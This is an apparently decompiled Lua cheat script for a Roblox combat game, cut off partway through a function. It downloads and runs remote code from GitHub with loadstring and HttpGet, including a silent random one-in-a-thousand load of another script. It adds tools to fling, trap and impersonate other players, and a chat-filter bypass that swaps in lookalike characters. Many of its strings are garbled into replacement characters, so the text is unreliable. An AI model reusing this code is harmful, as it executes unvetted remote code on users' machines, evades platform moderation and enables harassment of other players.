-- ts file was generated at discord.gg/25ms
if not game:IsLoaded() then
game.Loaded:Wait()
end
if getgenv().SonicEXE_Executed then
return
else
if math.random(1, 1000) == 1 then
getgenv().SonicEXE_Executed = true
loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Sonic.lua'))()
end
local u1 = tick()
local v3 = setmetatable({}, {
__index = function(_, p2)
return cloneref(game:GetService(p2))
end,
})
local _Players = v3.Players
local _LocalPlayer = _Players.LocalPlayer
local u6 = _LocalPlayer:GetMouse()
local _Workspace = v3.Workspace
local _CoreGui = v3.CoreGui
local _ = _LocalPlayer.PlayerGui
local _ = v3.GuiService
local u9 = nil
local _ = protectgui
if get_hidden_gui or gethui then
u9 = (get_hidden_gui or gethui)()
elseif _CoreGui:FindFirstChild('RobloxGui') then
u9 = _CoreGui.RobloxGui
end
local u10
if u9:FindFirstChild('LoadingGui') then
u10 = nil
else
local _ScreenGui = Instance.new('ScreenGui', u9)
_ScreenGui.ResetOnSpawn = false
_ScreenGui.DisplayOrder = math.huge
_ScreenGui.Name = 'LoadingGui'
u10 = Instance.new('TextLabel', _ScreenGui)
u10.Text = ''
u10.TextSize = 15
u10.Font = Enum.Font.Gotham
u10.TextTransparency = 0
u10.BackgroundTransparency = 1
u10.TextColor3 = Color3.fromRGB(255, 255, 255)
u10.Position = UDim2.new(0.5, 0, 0.085, 0)
u10.ZIndex = math.huge
local v12 = 0
local v13 = 'Loading..'
repeat
v12 = v12 + 1
u10.Text = v13:sub(1, v12)
task.wait(0.03)
until u10.Text == v13 or not _ScreenGui
end
if not isfolder('Libraries') then
u10.Text = "Creating 'Libraries'"
makefolder('Libraries')
end
if not isfile('Libraries/sha.lua') then
u10.Text = "Downloading 'sha.lua'"
writefile('Libraries/sha.lua', game:HttpGet('https://raw.githubusercontent.com/secretisadev/Backup/refs/heads/main/sha.lua'))
end
local v14 = loadfile('Libraries/sha.lua')()
local _ = cloneref
local u15 = not http_request and (not (request or syn and syn.request) and (not (fluxus and fluxus.request) and http))
if u15 then
u15 = http.request
end
if not setclipboard and (not toclipboard and (not set_clipboard and Clipboard)) then
local _ = Clipboard.set
end
if not (base64 and base64.decode or base64decode) then
local _ = base64_decode
end
local _ = fireclickdetector
local _ = firetouchinterest
local u16 = false
local u17 = false
local u18 = {}
if u15 and typeof(u15) == 'function' then
local _ = v3.LocalizationService
local _Debris = v3.Debris
local _RunService = v3.RunService
local _RenderStepped = _RunService.RenderStepped
local _Heartbeat = _RunService.Heartbeat
local _Stepped = _RunService.Stepped
local _PreSimulation = _RunService.PreSimulation
local _ = _RunService.PostSimulation
local _ = _RunService.PreAnimation
local _ReplicatedStorage = v3.ReplicatedStorage
local _ = v3.MarketplaceService
local _UserInputService = v3.UserInputService
local _TextChatService = v3.TextChatService
local _ = _TextChatService.BubbleChatConfiguration
local _TweenService = v3.TweenService
local _TeleportService = v3.TeleportService
local _ = v3.MarketplaceService
local _ = v3.SoundService
local _Stats = v3.Stats
local _ = v3.ScriptContext
local _ = v3.ContentProvider
local _StarterGui = v3.StarterGui
local _HttpService = v3.HttpService
local _ = v3.Chat
local _Lighting = v3.Lighting
local _ = v3.PhysicsService
local _ = v3.TestService
local _ = v3.CaptureService
local _ = v3.ProximityPromptService
if loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Active.lua'))() then
if getgenv().PhantasmExecuted then
return _StarterGui:SetCore('SendNotification', {
Text = 'Phantasm',
Text = 'Phantasm is already loading/loaded.',
Duration = 3,
})
end
getgenv().PhantasmExecuted = true
local _RobloxReplicatedStorage = v3.RobloxReplicatedStorage
local _RbxAnalyticsService = v3.RbxAnalyticsService
local u36 = {
['Above Tunnel'] = CFrame.new(-301, 594, -322),
Arena = CFrame.new(-130, 440, -373),
['Atomic Slash'] = CFrame.new(1064, 131, 23007),
Baseplate = CFrame.new(1073, 406, 22984),
['Below Baseplate'] = CFrame.new(1073, 20, 22984),
['Bigger Jail'] = CFrame.new(290, 440, 465),
['Even Bigger Jail'] = CFrame.new(378, 439, 457),
['Dark Domain'] = CFrame.new(-80, 84, 20395),
['Death Counter'] = CFrame.new(-66, 29, 20383),
Jail = CFrame.new(440, 440, -395),
['Jail But Smaller'] = CFrame.new(20, 439, -460),
Middle = CFrame.new(150, 441, 32),
['Mountain 1'] = CFrame.new(9, 653, -363),
['Mountain 2'] = CFrame.new(-1, 653, -354),
['Mountain Edge'] = CFrame.new(-297, 594, -336),
Void = CFrame.new(0, -10000, 0),
}
local v37, v38, v39 = pairs(u36)
local v40 = {}
local u41 = {}
local u42 = {Notification = 4590657391}
local u43 = {}
local u44 = {Players = {}}
local u45 = {}
while true do
v39 = v37(v38, v39)
if v39 == nil then
break
end
table.insert(v40, v39)
end
table.sort(v40)
local u46 = {
['Atomic Slash'] = CFrame.new(1064, 131, 23007) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
Arena = CFrame.new(-130, 440, -373) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
Baseplate = CFrame.new(1073, 407, 22984) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Below Baseplate'] = CFrame.new(1073, 20, 22984) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
Jail = CFrame.new(440, 440, -395) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Jail But Smaller'] = CFrame.new(20, 439, -460) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Bigger Jail'] = CFrame.new(290, 440, 465) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Even Bigger Jail'] = CFrame.new(378, 439, 457) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Dark Domain'] = CFrame.new(-80, 84, 20395) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Death Counter'] = CFrame.new(-66, 29, 20383) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
Middle = CFrame.new(155, 441, 45) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Mountain 1'] = CFrame.new(306, 671, 411) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Mountain 2'] = CFrame.new(-1, 653, -354) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
['Mountain Edge'] = CFrame.new(-297, 594, -336) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
Void = CFrame.new(169, 218, 102) * CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(90), 0, 0),
}
local v47, v48, v49 = pairs(u46)
local v50 = {}
while true do
v49 = v47(v48, v49)
if v49 == nil then
break
end
table.insert(v50, v49)
end
table.sort(v50)
local v51 = {
Normal = {
'did you really think you could kill me TheEnemysNameHere....?',
'did you forget its me, YourUppercaseNameHere?',
"I'm not gonna let that slide, TheEnemysNameHere.",
},
Gojo = {
'YOU LOOK UGLIER THAN EVER, TheEnemysUppercaseNameHere!!',
},
}
v51.Gojo[#v51.Gojo + 1] = {
{
Quote = 'It took me a while..',
WaitTime = 2,
},
{
Quote = 'But I finally grasped it on the verge of death TheEnemysNameHere..',
WaitTime = 2,
},
{
Quote = 'The true essence of cursed energy..',
WaitTime = 2,
},
{
Quote = 'REVERSE CURSED TECHNIQUE!!',
WaitTime = 0,
},
}
local v52 = table.find({
Enum.Platform.IOS,
Enum.Platform.Android,
}, _UserInputService:GetPlatform()) and true or false
local u53 = {
'rbxassetid://12351854556',
'rbxassetid://15311685628',
'rbxassetid://15128849047',
}
local u54 = {
'rbxassetid://13603396939',
'rbxassetid://15334974550',
'rbxassetid://15123665491',
}
local u55 = {
'rbxassetid://10470389827',
'rbxassetid://13380778193',
'rbxassetid://13935548552',
'rbxassetid://13380778193',
}
local u56 = {
'rbxassetid://10480796021',
'rbxassetid://10480793962',
}
({}).Saitama = 'rbxassetid://12447707844'
local u57 = {
ID = 'rbxassetid://136370737633649',
TimePosition = 4.5,
}
local u58 = {18182425133, 136370737633649}
local u59 = {
Invisibility = false,
['Upside Down'] = false,
['Velocity Spoof'] = false,
Flying = false,
['Pause Orbit'] = false,
['Trashcan Launch'] = false,
['Doing Wall Combo Anywhere'] = false,
['Velocity Spoof Settings'] = Vector3.new(0, 0, 0),
}
local u60 = {}
local u61 = {}
local u62 = {}
local u63 = {}
function GetServerType()
local _GetServerType = _RobloxReplicatedStorage:WaitForChild('GetServerType', 1)
return not _GetServerType and 'Unknown Server' or _GetServerType:InvokeServer()
end
function GetServerVersion()
local _GetServerVersion = _RobloxReplicatedStorage:WaitForChild('GetServerVersion', 1)
return not _GetServerVersion and 'Unknown Version' or _GetServerVersion:InvokeServer()
end
local u66 = GetServerType()
local u67 = GetServerVersion()
function Create(p68, p69)
if typeof(p68) == 'string' then
p68 = Instance.new(p68)
end
local v70 = next
local v71 = nil
while true do
local u72, u73 = v70(p69, v71)
if u72 == nil then
break
end
v71 = u72
local v74, v75 = pcall(function()
p68[u72] = u73
end)
if not v74 then
warn(v75)
end
end
return p68
end
function Draw(p76, p77)
if typeof(p76) == 'string' then
p76 = Drawing.new(p76)
end
local v78 = next
local v79 = nil
while true do
local u80, u81 = v78(p77, v79)
if u80 == nil then
break
end
v79 = u80
local v82, v83 = pcall(function()
p76[u80] = u81
end)
if not v82 then
warn(v83)
end
end
return p76
end
function fetchAvatar()
local u84 = nil
pcall(function()
local v85 = 'https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=' .. _LocalPlayer.UserId .. '&size=150x150&format=Png'
u84 = _HttpService:JSONDecode((game:HttpGet(v85))).data[1].imageUrl
end)
return u84 or 'https://tr.rbxcdn.com/30DAY-AvatarHeadshot-310966282D3529E36976BF6B07B1DC90-Png/150/150/AvatarHeadshot/Png/noFilter'
end
function bypassText(p86)
return p86
end
function holiday(p87, p88)
local v96 = ({
['01 01'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}',
[(function(p89)
local v90 = math.floor(p89 / 100)
local v91 = (15 - math.floor((13 + 8 * v90) / 25) + v90 - math.floor(v90 / 4)) % 30
local v92 = (4 + v90 - math.floor(v90 / 4)) % 7
local v93 = (19 * (p89 % 19) + v91) % 30
local v94 = (2 * (p89 % 4) + 4 * (p89 % 7) + 6 * v93 + v92) % 7
local v95 = 22 + v93 + v94
if v93 == 29 and v94 == 6 then
return '04 19'
elseif v93 == 28 and v94 == 6 then
return '04 18'
elseif v95 > 31 then
return ('04 %02d'):format(v95 - 31)
else
return ('03 %02d'):format(v95)
end
end)(tonumber(os.date('%Y')))] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}',
['10 31'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}',
})[os.date('%m %d')]
if v96 then
return ('%s %s %s'):format(v96, p87, v96)
end
local v97 = {
['12 25'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}',
}
if p88 and p88.entireChristmas then
for v98 = 1, 31 do
v97['12 ' .. tostring(v98)] = ({
'\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}',
'\u{fffd}\u{fffd}',
})[math.random(1, 2)]
end
end
if v97[os.date('%m %d')] then
local _ = ('%s %s %s').format
end
return p87
end
function formatDateTime(p99)
local v109 = (function(p100)
local _dddTddd, v102 = p100:match('^(%d+-%d+-%d+)T(%d+:%d+:%d+)')
if not (_dddTddd and v102) then
return nil
end
local _ddd, v104, v105 = _dddTddd:match('(%d+)-(%d+)-(%d+)')
local _ddd2, v107, v108 = v102:match('(%d+):(%d+):(%d+)')
return os.time({
year = tonumber(_ddd),
month = tonumber(v104),
day = tonumber(v105),
hour = tonumber(_ddd2),
min = tonumber(v107),
sec = tonumber(v108),
isdst = false,
})
end)(p99)
if v109 then
local v110 = os.time()
local v111 = os.difftime(v110, v109)
local _ABdmY = os.date('%A %B %d/%m/%Y', v109)
if v111 < 86400 then
local v113 = math.floor(v111 / 3600)
return _ABdmY .. ' (' .. v113 .. ' hour' .. (v113 ~= 1 and 's' or '') .. ' ago)'
elseif v111 < 31536000 then
local v114 = math.floor(v111 / 86400)
return _ABdmY .. ' (' .. v114 .. ' day' .. (v114 ~= 1 and 's' or '') .. ' ago)'
else
local v115 = math.floor(v111 / 31536000)
return _ABdmY .. ' (' .. v115 .. ' year' .. (v115 ~= 1 and 's' or '') .. ' ago)'
end
else
return 'Invalid date format'
end
end
function messageToQuote(p116, p117)
return p116:gsub('TheEnemysNameHere', p117.DisplayName):gsub('TheEnemysUppercaseNameHere', p117.DisplayName:upper()):gsub('YourNameHere', _LocalPlayer.DisplayName):gsub('YourUppercaseNameHere', _LocalPlayer.DisplayName:upper())
end
local u118 = {}
function disguiseAsPlayer(p119)
if #p119 ~= 0 then
local v120 = getChar
if v120 then
v120 = getChar(_LocalPlayer)
end
local v121
if v120 then
v121 = getHumanoid(v120)
else
v121 = v120
end
v120:SetAttribute('DisguiseName', p119)
local u122 = nil
pcall(function()
u122 = _Players:GetUserIdFromNameAsync(p119)
end)
local v123
if u122 then
v123 = _Players:GetCharacterAppearanceAsync(u122)
else
v123 = u122
end
if v120 and (v121 and (u122 and v123)) then
local v124
if v120 then
v124 = v120:WaitForChild('Head', 1)
else
v124 = v120
end
if v124 then
local v125, v126, v127 = pairs(v120:GetChildren())
local v128 = {
'Accessory',
'Shirt',
'Pants',
'CharacterMesh',
'BodyColors',
'ShirtGraphic',
}
while true do
local v129
v127, v129 = v125(v126, v127)
if v127 == nil then
break
end
local v130, v131, v132 = pairs(v128)
while true do
local v133
v132, v133 = v130(v131, v132)
if v132 == nil then
break
end
if v129:IsA(v133) then
task.spawn(pcall, deleteNew, v129, false)
end
end
end
local v134, v135, v136 = pairs(v124:GetChildren())
while true do
local v137
v136, v137 = v134(v135, v136)
if v136 == nil then
break
end
if v137:IsA('SpecialMesh') and table.find(u118, v137) then
task.spawn(pcall, deleteNew, v137, false)
end
end
local _face = v124:FindFirstChild('face')
if _face then
_face:Destroy()
end
local v139, v140, v141 = pairs(v123:GetChildren())
while true do
local v142
v141, v142 = v139(v140, v141)
if v141 == nil then
break
end
if v142:IsA('Shirt') or (v142:IsA('Pants') or (v142:IsA('BodyColors') or v142:IsA('ShirtGraphic'))) then
v142.Parent = _LocalPlayer.Character
elseif v142:IsA('Accessory') then
v142.Name = '#ACCESSORY_' .. v142.Name
v142.Parent = _LocalPlayer.Character
elseif v142:IsA('SpecialMesh') then
table.insert(u118, v142)
v142.Parent = _LocalPlayer.Character.Head
elseif v142.Name ~= 'R6' then
if v142.Name == 'R15' and _LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
v142:FindFirstChildOfClass('CharacterMesh').Parent = _LocalPlayer.Character
end
elseif _LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
v142:FindFirstChildOfClass('CharacterMesh').Parent = _LocalPlayer.Character
end
end
local _face2 = v123:FindFirstChild('face')
if _face2 then
_face2.Parent = v124
else
local _Decal = Instance.new('Decal', v124)
_Decal.Face = 'Front'
_Decal.Name = 'face'
_Decal.Texture = 'rbxasset://textures/face.png'
_Decal.Transparency = 0
end
local _Parent = v120.Parent
v120.Parent = nil
v120.Parent = _Parent
end
end
end
end
function WaitForChildWhichIsA(p146, p147, p148)
local v149 = tick()
if not p146:FindFirstChildWhichIsA(p147) then
repeat
task.wait()
until p146:FindFirstChildWhichIsA(p147) or p148 and tick() >= v149 + p148
end
return p146:FindFirstChildWhichIsA(p147) or nil
end
function getPlayer(p150, p151, p152)
local v153 = _Players
local v154, v155, v156 = pairs(v153:GetPlayers())
while true do
local v157
v156, v157 = v154(v155, v156)
if v156 == nil then
break
end
if (v157.Name:lower():find('^' .. p150:lower()) or v157.DisplayName:lower():find('^' .. p150:lower())) and (v157 ~= _LocalPlayer or p152) then
return v157
end
end
if p151 and #_Players:GetChildren() >= 2 then
repeat
local v158 = _Players
local v159 = _Players:GetChildren()[math.random(1, #v158:GetChildren())]
task.wait()
until v159 ~= _LocalPlayer
end
return nil
end
function getAllPlayers()
local v160 = _Players:GetPlayers()
table.remove(v160, table.find(v160, _LocalPlayer))
local v161, v162, v163 = pairs(u63)
while true do
local v164
v163, v164 = v161(v162, v163)
if v163 == nil then
break
end
table.remove(v160, table.find(v160, v164))
end
return v160
end
function getHighestStreak()
local v165 = _Players
local v166, v167, v168 = pairs(v165:GetPlayers())
local v169 = 0
local v170 = nil
while true do
local v171
v168, v171 = v166(v167, v168)
if v168 == nil then
break
end
local v172 = getChar(v171)
local v173 = v172 and (v172:GetAttribute('CurrentStreak') or 0) or v172
if v172 then
if v169 < v173 then
v170 = v171
v169 = v173
end
end
end
return v170
end
function rejoin(p174)
if typeof(p174) ~= 'table' or not p174 then
p174 = nil
end
_LocalPlayer:Kick(p174 and (p174.Message or 'Rejoining....') or 'Rejoining....')
task.delay(p174 and p174.Delay or 0.1, function()
if u66 ~= 'VIPServer' then
_TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId, _LocalPlayer)
else
_TeleportService:Teleport(game.PlaceId, _LocalPlayer)
end
end)
end
local u175 = nil
function patchCamera(p176)
if p176:IsA('Camera') then
if u175 then
u175:Disconnect()
u175 = nil
end
if p176.CameraType ~= Enum.CameraType.Custom and Toggles.NoCameraAnimations.Value then
task.spawn(fixCam)
end
u175 = p176:GetPropertyChangedSignal('CameraType'):Connect(function()
if p176.CameraType ~= Enum.CameraType.Custom and Toggles.NoCameraAnimations.Value then
task.spawn(fixCam)
end
end)
end
end
function getChar(p177)
return p177.Character
end
function getRoot(p178)
return p178 and p178:FindFirstChild('HumanoidRootPart') or nil
end
function getHumanoid(p179)
return p179 and p179:FindFirstChild('Humanoid') or nil
end
function getMagnitude(p180, p181)
if typeof(p180) == 'number' then
p180 = Vector3.new(p180, p180, p180)
end
if typeof(p181) == 'number' then
p181 = Vector3.new(p181, p181, p181)
end
return (p180 - p181).Magnitude
end
function fixCam()
if not getChar(_LocalPlayer) then
repeat
task.wait()
until getChar(_LocalPlayer)
end
local v182 = getChar(_LocalPlayer)
local v183
if v182 then
v183 = getHumanoid(v182)
else
v183 = v182
end
if v182 and (v183 and workspace.CurrentCamera) then
local _CFrame = _Workspace.CurrentCamera.CFrame
_Workspace.CurrentCamera:Destroy()
local _Camera = Instance.new('Camera', _Workspace)
_Camera.CameraType = 'Custom'
_Camera.CameraSubject = v183
_Camera.CFrame = _CFrame
_LocalPlayer.CameraMode = 'Classic'
v182:WaitForChild('Head', 1).Anchored = false
end
end
function sendMsg(p186)
if _TextChatService.ChatVersion ~= Enum.ChatVersion.LegacyChatService then
if _TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local _TextChannels = _TextChatService.TextChannels
local _RBXGeneral = _TextChannels:FindFirstChild('RBXGeneral')
if _TextChannels and _RBXGeneral then
_RBXGeneral:SendAsync(p186)
end
end
else
local _DefaultChatSystemChatEvents = _ReplicatedStorage:FindFirstChild('DefaultChatSystemChatEvents')
local v190
if _DefaultChatSystemChatEvents then
v190 = _DefaultChatSystemChatEvents:FindFirstChild('SayMessageRequest')
else
v190 = _DefaultChatSystemChatEvents
end
if _DefaultChatSystemChatEvents and v190 then
v190:FireServer(p186, 'all')
end
end
end
function closestPlayer(p191, p192)
local v193 = getChar
if v193 then
v193 = getChar(_LocalPlayer)
end
local _huge = math.huge
local v195 = _Players
local v196, v197, v198 = pairs(v195:GetPlayers())
local v199 = nil
while true do
local v200
v198, v200 = v196(v197, v198)
if v198 == nil then
break
end
if getChar(v200) and v200 ~= _LocalPlayer then
local v201 = getChar(v200)
local v202 = getHumanoid(v201)
if v202 and v202.Health ~= 0 then
if v201 then
v201 = getRoot(v201)
end
local v203 = nil
if p191 then
v203 = (u6.Hit.p - v201.Position).Magnitude
elseif not p191 then
v203 = (getRoot(v193).Position - v201.Position).Magnitude
end
if v203 < _huge then
if p192 then
if not isFlung(v200) then
v199 = v200
_huge = v203
end
elseif not p192 then
v199 = v200
_huge = v203
end
end
end
end
end
return v199
end
function closestPlayerV2(p204, p205)
local v206 = getChar(_LocalPlayer)
local v207
if v206 then
v207 = getRoot(v206)
else
v207 = v206
end
local v208 = nil
if v206 and v207 then
local _huge2 = math.huge
local v210 = _Players
local v211, v212, v213 = pairs(v210:GetPlayers())
while true do
local v214
v213, v214 = v211(v212, v213)
if v213 == nil then
break
end
if v214 ~= _LocalPlayer and getChar(v214) then
local v215 = getChar(v214)
local v216
if v215 then
v216 = getRoot(v215)
else
v216 = v215
end
local v217
if v215 then
v217 = getHumanoid(v215)
else
v217 = v215
end
if v215 and (v216 and (v217 and (v217.Health ~= 0 and workspace.CurrentCamera))) then
local v218 = nil
if p204 then
local v219 = _Workspace.CurrentCamera:WorldToViewportPoint(v216.Position)
local v220 = _UserInputService
v218 = (Vector2.new(v219.X, v219.Y) - v220:GetMouseLocation()).Magnitude
elseif not p204 then
v218 = (v207.Position - v216.Position).Magnitude
end
if v218 < _huge2 then
if p205 then
if not isFlung(v214) then
_huge2 = v218
v208 = v214
end
elseif not p205 then
_huge2 = v218
v208 = v214
end
end
end
end
end
end
return v208
end
function heartbeatTp(p221)
local v222 = getChar(_LocalPlayer)
local u223
if v222 then
u223 = getRoot(v222)
else
u223 = v222
end
if v222 and u223 then
task.spawn(function()
_RenderStepped:Once(function()
u223.Velocity = Vector3.new()
_Heartbeat:Wait()
u223.Velocity = Vector3.new()
end)
end)
_Heartbeat:Once(function()
u223.CFrame = p221
end)
end
end
function breakVelocity(p224)
assert(p224:IsA('BodyVelocity'), "Error Occured at function 'breakVelocity', Argument 1 must be a 'BodyVelocity'.")
p224.MaxForce = Vector3.zero
p224.Velocity = Vector3.zero
_RenderStepped:Wait()
p224:Destroy()
end
function clearVelocity()
local v225 = getChar
if v225 then
v225 = getChar(_LocalPlayer)
end
if v225 then
local v226, v227, v228 = pairs(v225:GetDescendants())
while true do
local v229
v228, v229 = v226(v227, v228)
if v228 == nil then
break
end
if v229:IsA('BodyVelocity') and (v229 ~= BG and v229 ~= BV) then
v229:Destroy()
end
end
end
end
function randomAlphabeticalString(p230)
local v231 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
local v232 = ''
for _ = 1, p230 or math.random(3, 20)do
local v233 = math.random(1, #v231)
v232 = v232 .. v231:sub(v233, v233)
end
return v232
end
function bypass(p234, p235)
local v236 = p234:gsub(' ', '\20')
local v237 = p235 == '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd} '
local v238 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
local v239 = ''
for v240 = 1, utf8.len(v236)do
local v241 = string.sub(v236, utf8.offset(v236, v240), utf8.offset(v236, v240 + 1) - 1)
local v242 = string.find(v238, v241, 1, true)
if v242 then
v239 = v239 .. string.sub(p235, utf8.offset(p235, v242), utf8.offset(p235, v242 + 1) - 1) .. (v237 and '\20' or '')
else
v239 = v239 .. v241 .. (v237 and '\20' or '')
end
end
return v239
end
function createCaseInsensitivePattern(p243)
local v244 = ''
for v245 = 1, #p243 do
local v246 = p243:sub(v245, v245)
if v246:lower() ~= v246:upper() then
v244 = v244 .. '[' .. v246:upper() .. v246:lower() .. ']'
else
v244 = v244 .. v246
end
end
return v244
end
function convertToCyrillic(p247)
local v248 = ''
local v249 = {
A = '\u{fffd}',
a = '\u{fffd}',
O = '\u{fffd}',
o = '\u{fffd}',
E = '\u{fffd}',
e = '\u{fffd}',
}
for v250 = 1, #p247 do
local v251 = p247:sub(v250, v250)
v248 = v248 .. (v249[v251] or v251)
end
return v248
end
function flingTp(p252)
local v253 = getChar
if v253 then
v253 = getChar(p252)
end
local v254 = getRoot(v253)
local v255 = getHumanoid(v253)
if v253 and (v254 and v255) then
local v256 = math.random(1, 2)
if v256 == 1 then
return v254.CFrame * CFrame.Angles(math.rad(math.random(-180, 180)), math.rad(0), math.rad(math.random(-180, 180)))
end
if v256 == 2 then
return CFrame.new(v254.Position) * (CFrame.new(math.random(-5, 5), math.random(-2.5, 2.5), math.random(-5, 5)) + v255.MoveDirection * v254.Velocity.Magnitude / 1.25) * CFrame.Angles(math.rad(math.random(-180, 180)), math.rad(0), math.rad(math.random(-180, 180)))
end
end
end
function isFlung(p257)
local v258 = getChar
if v258 then
v258 = getChar(p257)
end
local v259
if v258 then
v259 = getRoot(v258)
else
v259 = v258
end
return v258 and (v259 and v259.Velocity.Magnitude >= 2000) and true or false
end
function isDeathBlowing(p260)
local v261 = getChar(p260)
local v262
if v261 then
v262 = getRoot(v261)
else
v262 = v261
end
local v263
if v261 then
v263 = getHumanoid(v261)
else
v263 = v261
end
if v261 and (v262 and v263) then
local v264, v265, v266 = pairs(v261:GetChildren())
while true do
local v267
v266, v267 = v264(v265, v266)
if v266 == nil then
break
end
if v267:IsA('Tool') and v267.Name == 'Death Blow' then
return true
end
end
if isAnimPlaying(v263, '15128849047') then
return true
end
local v268 = _Players
local v269, v270, v271 = pairs(v268:GetPlayers())
while true do
local v272
v271, v272 = v269(v270, v271)
if v271 == nil then
break
end
if v272 ~= _LocalPlayer and v272 ~= p260 then
local v273 = getChar(v272)
local v274
if v273 then
